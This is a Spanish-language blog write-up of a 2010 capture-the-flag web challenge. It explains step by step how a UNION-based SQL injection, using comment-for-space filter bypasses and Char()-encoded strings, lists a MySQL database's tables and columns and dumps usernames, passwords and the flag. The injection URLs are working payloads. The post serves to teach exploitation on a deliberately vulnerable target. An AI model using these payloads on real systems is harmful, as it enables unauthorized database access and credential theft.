smpChallenge12 - smpCTF 2010 (Español)
Julio 14, 2010
Descripción
Inglés
Retrieve cookie monsters password..
Cookie monster, while awesome. Is not a good admin.. He has managed to remove most of the web content and forget his password. On accident, of course.. If you can help him retrieve his password, he will give you a flag. Not a cookie...
Website: http://66.225.157.70:8009/level2/
Español
Recupera la contraseña de Triqui el monstruo come galletas
El Monstruo de las galletas, aunque asombroso, No es un buen admin.. Él ha conseguido remover la mayoría del contenido de la web y olvidó su clave. Un accidente por supuesto .. Si puedes ayudarlo a recuperar su contraseña, él te dará una bandera. No una galleta...
Sitio web: http://66.225.157.70:8009/level2/
Resolución
El reto consiste en obtener el password del olvidadizo usuario cookieMonster.
Cuando entrabamos a http://66.225.157.70:8009/level2/ en el código fuente aparecía un comentario html
Al ingresar a http://66.225.157.70:8009/level2/?id=1, vemos que el párametro id acepta un identificador del usuario y nos muestra el mensaje "Hello nombreusuario" dependiendo del ID del usuario, intentamos ingresar algunos caracteres, como comillas o espacios, pero la mayoría son rechazados.
Aún así, este párametro es vulnerable a inyección SQL (Podemos mostrar información usando union select ya que no se trata de una inyeccion a ciegas), necesitamos obtener los nombres de las tablas; suponiendo que el sistema gestor de la base de datos es MySQL, podemos obtener en ciertas ocasiones las mencionadas tablas a través de una base de datos especial llamada information_schema, esta base de datos es "la base de datos de información, el lugar donde se almacena la información acerca de las otras bases de datos que actualmente el servidor mantiene."
La inyección a continuación fue usada para listar las tablas, cambiando el valor del limit podemos listar las tablas para el usuario actual:
http://66.225.157.70:8009/level2/?id=-1/**/union/**/select/**/1,2,table_name,4/**/from/**/information_schema.tables/**/where/**/table_rows<>0/**/limit/**/0,1--
La pseudo petición que hace el script al motor MySQL es la siguiente:
Usamos el TABLE_ROWS <> 0 para listar las tablas que contienen filas diferentes a 0, así podemos asegurar en cierta forma que vamos a listar las tablas que contienen información o que contienen filas.
Las siguientes fueron las tablas obtenidas con la inyección:
users, help_keyword, help_relation, help_topic, user
Como lo que nos interesa es el password, nos enfocamos en la tabla user, y obtenemos los nombres de las columnas con la siguiente inyección:
http://66.225.157.70:8009/level2/?id=-1/**/union/**/select/**/1,2,column_name,4/**/from/**/information_schema.columns/**/where/**/table_name=Char(117,115,101,114,115)limit/**/0,1--
Las columnas para la tabla users son:
id, name, pass, flag
Podemos también obtener las columnas para el resto de las tablas, a continuación se muestra un sencillo esquema que contiene las tablas y las columnas de cada tabla:
id
name
pass
flag
help_keyword (LIMIT 1,1)
help_keyword_id
name
help_relation (LIMIT 2,1)
help_topic_id
help_keyword_id
help_topic (LIMIT 3,1)
help_topic_id
name
user (LIMIT 4,1)
Host
Password
Select_priv
Insert_priv
...
Esta tabla corresponde a mysql.user
Ahora conociendo la tabla y sus respectivas columnas, podemos ahora leer los registros de la tabla, uno por uno, nuevamente variando los valores del limit:
http://66.225.157.70:8009/level2/?id=-1/**/union/**/select/**/1,2,concat(id,0x3a,name,0x3a,pass,0x3a,flag),4/**/from/**/users/**/limit/**/0,1--
Obteniendo los siguientes resultados
1:magik:newPass2:iR0ck
2:redsand:blaISAGHEYhorse:HaHa
3:cookieMonster:50c43871:lolFLAGlol
La solución por supuesto nos la ha dado el come galletas!
Respuesta
Challenge ID: 50c43871
Flag: lolFLAGlol
Archivado en: Retos informáticos, Seguridad |
Todas las soluciones al leerlas parecen facil gracias a la forma que han explicado con detalle gracias por que estan son las cosas bonitas para aprender.
Yo les doy 1000 puntos mas por haberlas resuelto grande la comunidad sinfocol.
totalmente de acuerdo con kagure
mil Gracias!
[...] smpChallenge12 - smpCTF 2010 (Español) [...]
porfa bef0rd envíame un correo a tinpardo@gmail.com gracias